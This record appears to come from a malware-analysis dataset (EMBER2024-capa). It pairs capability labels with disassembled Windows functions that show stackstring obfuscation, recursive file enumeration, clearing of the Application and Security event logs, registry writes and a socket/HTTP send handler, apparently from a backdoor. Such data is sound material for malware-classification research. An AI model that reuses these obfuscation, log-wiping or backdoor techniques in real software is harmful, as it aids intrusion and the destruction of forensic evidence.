joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e9e
Capabilities:
Contain obfuscated stackstrings
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x15c], 0x100
mov dword [ebp - 8], 0x100
mov eax, dword [ebp - 0x264]
cmp dword [eax + 0x14], 0
jne 0x403ed1
xor eax, eax
jmp 0x4040c2
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x15c]
push ecx
lea edx, [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x14]
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x403f0b
xor eax, eax
jmp 0x4040c2
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x403f23
xor eax, eax
jmp 0x4040c2
mov byte [ebp - 0x24], 0x61
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x76
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x3c], 0x43
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x6e
mov byte [ebp - 0x39], 0x76
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x53
mov byte [ebp - 0x34], 0x69
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x54
mov byte [ebp - 0x31], 0x6f
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x67
mov byte [ebp - 0x2a], 0x53
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x41
mov byte [ebp - 0x26], 0
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403fe8
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0x13c]
push ecx
call dword [ebp - 0x10]
mov byte [ebp - 0x158], 0x4b
mov byte [ebp - 0x157], 0x45
mov byte [ebp - 0x156], 0x52
mov byte [ebp - 0x155], 0x4e
mov byte [ebp - 0x154], 0x45
mov byte [ebp - 0x153], 0x4c
mov byte [ebp - 0x152], 0x33
mov byte [ebp - 0x151], 0x32
mov byte [ebp - 0x150], 0x2e
mov byte [ebp - 0x14f], 0x64
mov byte [ebp - 0x14e], 0x6c
mov byte [ebp - 0x14d], 0x6c
mov byte [ebp - 0x14c], 0
mov byte [ebp - 0x148], 0x46
mov byte [ebp - 0x147], 0x72
mov byte [ebp - 0x146], 0x65
mov byte [ebp - 0x145], 0x65
mov byte [ebp - 0x144], 0x4c
mov byte [ebp - 0x143], 0x69
mov byte [ebp - 0x142], 0x62
mov byte [ebp - 0x141], 0x72
mov byte [ebp - 0x140], 0x61
mov byte [ebp - 0x13f], 0x72
mov byte [ebp - 0x13e], 0x79
mov byte [ebp - 0x13d], 0
lea edx, [ebp - 0x148]
push edx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 4]
mov eax, dword [ebp - 0x160]
mov esp, ebp
pop ebp
ret
Function at 0x406232
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], 0
push 0x104
push 0
mov eax, dword [ebp - 0x20]
add eax, 0x20
push eax
call fcn.004245f0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x20
push edx
call fcn.004255a0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x406297
xor eax, eax
jmp 0x406344
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0xa
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004245f0
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx], 0x69
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 9
push ecx
call fcn.00424650
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x20]
call fcn.0040e9c0
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x40634a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x20
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 4], 0xffffffff
jne 0x40637a
mov ecx, dword [ebp - 0x28]
call fcn.00406466
xor eax, eax
jmp 0x406460
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4063a7
or eax, 0xffffffff
jmp 0x406460
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], 9
mov edx, 0x2000
sub edx, dword [ebp - 0x20]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0x6a
push 8
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
call fcn.00424650
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
jbe 0x40644b
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.0040e9c0
mov dword [ebp - 0x10], eax
jmp 0x406453
mov ecx, dword [ebp - 0x28]
call fcn.00406466
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x4065d8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43edb7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
mov dword [ebp - 0x478], ecx
mov dword [ebp - 0x154], 0
push 0x104
push 0
lea eax, [ebp - 0x258]
push eax
call fcn.004245f0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 8]
movsx eax, byte [edx + eax - 1]
cmp eax, 0x5c
je 0x40663f
mov dword [ebp - 0x154], 0x44c224
jmp 0x406649
mov dword [ebp - 0x154], 0x45328c
mov ecx, dword [ebp - 0x154]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s.
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40668d
xor al, al
jmp 0x406778
movsx eax, byte [ebp - 0x124]
cmp eax, 0x2e
je 0x406753
mov ecx, dword [ebp - 0x150]
and ecx, 0x10
test ecx, ecx
je 0x4066e5
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x44c230
lea edx, [ebp - 0x35c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x35c]
push eax
mov ecx, dword [ebp - 0x478]
call fcn.004065d8
jmp 0x406753
lea ecx, [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x474]
push edx
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x470]
call fcn.00406dd0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x470]
push ecx
mov ecx, dword [ebp - 0x478]
add ecx, 0x10
call fcn.00406f50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00406e00
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40668d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x406b39
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 4], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 0x34]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x28], eax
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xc], 0
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x24], 0x70
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
push 4
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x23]
push eax
call fcn.00424650
add esp, 0xc
push 4
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1f]
push edx
call fcn.00424650
add esp, 0xc
push 9
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x34]
call fcn.0040e9c0
mov esp, ebp
pop ebp
ret 8

Function at 0x406cc5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0x4b
mov byte [ebp - 0x17], 0x45
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0
mov byte [ebp - 0x28], 0x4d
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x76
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax + 1]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [ebp - 8]
push 0x71
mov ecx, dword [ebp - 0x2c]
call fcn.004064e6
mov esp, ebp
pop ebp
ret 4
Function at 0x408f59
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
push edi
mov eax, dword [ebp + 8]
push eax
call fcn.00425260
add esp, 4
test eax, eax
jne 0x408f7a
xor al, al
jmp 0x40918d
push str.DNAMMOCNEPOLLEHSEXE.EROLPXEISNOITACILPPa
call fcn.0042c0a0
add esp, 4
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 0x188], 0
push 0x104
push 0
lea ecx, [ebp - 0x118]
push ecx
call fcn.004245f0
add esp, 0xc
lea edx, [ebp - 0x184]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x13c]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x408fdf
xor al, al
jmp 0x40918d
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
mov eax, dword [ebp - 0x184]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x134], 0x6c
mov byte [ebp - 0x133], 0x73
mov byte [ebp - 0x132], 0x74
mov byte [ebp - 0x131], 0x72
mov byte [ebp - 0x130], 0x6c
mov byte [ebp - 0x12f], 0x65
mov byte [ebp - 0x12e], 0x6e
mov byte [ebp - 0x12d], 0x41
mov byte [ebp - 0x12c], 0
lea edx, [ebp - 0x134]
push edx
push 0x44c53c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x138]
test eax, eax
jne 0x40907c
xor al, al
jmp 0x40918d
push 0x44c54c
lea ecx, [ebp - 0x118]
push ecx
call fcn.004252e0
add esp, 8
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jne 0x4090a6
xor al, al
jmp 0x40918d
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x180], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x17c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x180], 0x44
mov byte [ebp - 0x128], 0x74
mov byte [ebp - 0x127], 0x6c
mov byte [ebp - 0x126], 0x75
mov byte [ebp - 0x125], 0x61
mov byte [ebp - 0x124], 0x66
mov byte [ebp - 0x123], 0x65
mov byte [ebp - 0x122], 0x64
mov byte [ebp - 0x121], 0x5c
mov byte [ebp - 0x120], 0x30
mov byte [ebp - 0x11f], 0x61
mov byte [ebp - 0x11e], 0x74
mov byte [ebp - 0x11d], 0x73
mov byte [ebp - 0x11c], 0x6e
mov byte [ebp - 0x11b], 0x69
mov byte [ebp - 0x11a], 0x77
mov byte [ebp - 0x119], 0
cmp dword [ebp + 0xc], 0
je 0x409165
lea ecx, [ebp - 0x128]
push ecx
call fcn.0042c0a0
add esp, 4
mov dword [ebp - 0x178], eax
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x180]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x409192
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], 0x44c568
mov dword [ebp - 0x10], 0
jmp 0x4091bf
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jae 0x4091f8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4091e0
jmp 0x4091b6
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x4091b6
mov esp, ebp
pop ebp
ret
Function at 0x409609
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push 0x400
push 0
lea eax, [ebp - 0x40c]
push eax
call fcn.004245f0
add esp, 0xc
mov byte [ebp - 0x438], 0x73
mov byte [ebp - 0x437], 0x79
mov byte [ebp - 0x436], 0x73
mov byte [ebp - 0x435], 0x74
mov byte [ebp - 0x434], 0x65
mov byte [ebp - 0x433], 0x6d
mov byte [ebp - 0x432], 0x5c
mov byte [ebp - 0x431], 0x63
mov byte [ebp - 0x430], 0x55
mov byte [ebp - 0x42f], 0x52
mov byte [ebp - 0x42e], 0x52
mov byte [ebp - 0x42d], 0x45
mov byte [ebp - 0x42c], 0x4e
mov byte [ebp - 0x42b], 0x54
mov byte [ebp - 0x42a], 0x63
mov byte [ebp - 0x429], 0x4f
mov byte [ebp - 0x428], 0x4e
mov byte [ebp - 0x427], 0x54
mov byte [ebp - 0x426], 0x52
mov byte [ebp - 0x425], 0x4f
mov byte [ebp - 0x424], 0x4c
mov byte [ebp - 0x423], 0x73
mov byte [ebp - 0x422], 0x45
mov byte [ebp - 0x421], 0x54
mov byte [ebp - 0x420], 0x5c
mov byte [ebp - 0x41f], 0x73
mov byte [ebp - 0x41e], 0x45
mov byte [ebp - 0x41d], 0x52
mov byte [ebp - 0x41c], 0x56
mov byte [ebp - 0x41b], 0x49
mov byte [ebp - 0x41a], 0x43
mov byte [ebp - 0x419], 0x45
mov byte [ebp - 0x418], 0x53
mov byte [ebp - 0x417], 0x5c
mov byte [ebp - 0x416], 0x25
mov byte [ebp - 0x415], 0x73
mov byte [ebp - 0x414], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 0x41
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc]
push ecx
push 0x44c918
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x410]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 1
push 0x44c928
lea ecx, [ebp - 0x40c]
push ecx
push 0x80000002
call fcn.0040f4e7
add esp, 0x1c
mov esp, ebp
pop ebp
ret

Function at 0x4097b6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push esi
push edi
push str.NEW1
push 0x44c938
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, 0xa
mov esi, str.sOFTWAREmICROSOFTiNTERNET_eXPLORERmAIN
lea edi, [ebp - 0x138]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x138]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x108], eax
cmp dword [ebp + 8], 1
jne 0x409829
push 0
push 0x44c968
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40984e
push 0x64
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0
push str.Window_Title
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409cff
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
mov byte [ebp - 0x208], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x218], 0
push 0x4532a0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x45330c]
add eax, 1
mov dword [0x45330c], eax
mov ecx, dword [0x45330c]
mov dword [ebp - 0x214], ecx
push 0x4532a0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.00409bc2
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x409d99
xor eax, eax
jmp 0x409ed4
cmp dword [ebp - 4], 1
je 0x409daf
cmp dword [ebp - 4], 2
je 0x409daf
cmp dword [ebp - 4], 3
jne 0x409e31
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00409c65
add esp, 0x10
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jne 0x409de0
xor eax, eax
jmp 0x409ed4
mov dx, word [ebp - 0x218]
push edx
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 8]
add ecx, 4
push ecx
call fcn.0040a441
add esp, 0xc
test eax, eax
jne 0x409e09
xor eax, eax
jmp 0x409ed4
push 0
mov edx, dword [ebp - 0x20c]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409e2f
xor eax, eax
jmp 0x409ed4
jmp 0x409e81
cmp dword [ebp - 4], 4
jne 0x409e81
mov ax, word [ebp - 0x218]
push eax
lea ecx, [ebp - 0x208]
push ecx
mov edx, dword [ebp + 8]
add edx, 4
push edx
call fcn.0040a441
add esp, 0xc
test eax, eax
jne 0x409e5d
xor eax, eax
jmp 0x409ed4
push 0
push str.HTTP_1.0_200_OK_r_n_r_n
call fcn.00425260
add esp, 4
add eax, 1
push eax
push str.HTTP_1.0_200_OK_r_n_r_n
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x409ecb
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x409ecb
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
push 0x40b25b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x409ec9
push 0xffffffffffffffff
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x409ecf
xor eax, eax
jmp 0x409ed4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret